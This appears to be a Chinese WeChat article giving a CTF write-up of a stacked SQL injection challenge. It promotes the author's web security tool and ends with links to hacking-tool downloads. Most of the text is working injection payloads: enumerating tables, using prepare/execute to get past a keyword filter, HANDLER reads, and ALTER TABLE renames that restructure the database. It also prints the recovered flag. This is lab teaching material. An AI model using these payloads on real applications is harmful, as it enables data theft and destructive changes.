随波逐流工作室—-探索前沿科技,分享最新软件。点击标题下蓝字“长弓三皮”关注,我们将为您提供有深度、有价值、有意思的阅读。
朋友们,现在只对常读和星标的公众号才展示大图推送,建议大家把长弓三皮“设为星标”,否则可能就看不到了啦!
作者:随波逐流
打开 [随波逐流]WEB安全工具访问
展开面板,提交看看
[随波逐流]WEB安全工具--SQL注入Payload速查表
联合查询被过滤,只能用堆叠注入了
1'; show databases;1'; show tables;1'; show columns from `words`;#1';show columns from `1919810931114514`;#关于在这里使用 ` 而不是 ’ 的一些解释:两者在linux下和windows下不同,linux下不区分,windows下区分。单引号 ’ 或双引号主要用于 字符串的引用符号反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)有MYSQL保留字作为字段的,必须加上反引号来区分!!!如果是数值,请不要使用引号。
可以看到这两个表words表有两个字段,而另一个只有一个字段
方法一:
,通过concat函数拼接绕过。构造payload:
1';Set @s=concat('s','elect flag from `1919810931114514`');Prepare s from @s;execute s%23方法二:
,通过用handle语句来获取。构造payload:
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;方法三:
,通过把words表随便改成一个名字如test,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果。构造payload:
1'; alter table words rename to test;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#接着使用or绕过直接获取flag
1' or 1 = 1 ;#CTF2{efe1952b-0990-49ee-ae16-6dafd9e4fe0e}-------------------------------------------
软件发布网址: 随波逐流信息安全网
微信公众号:长弓三皮
--------------------------------------------
你若喜欢,为“长弓三皮”点个赞和在看哦
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……



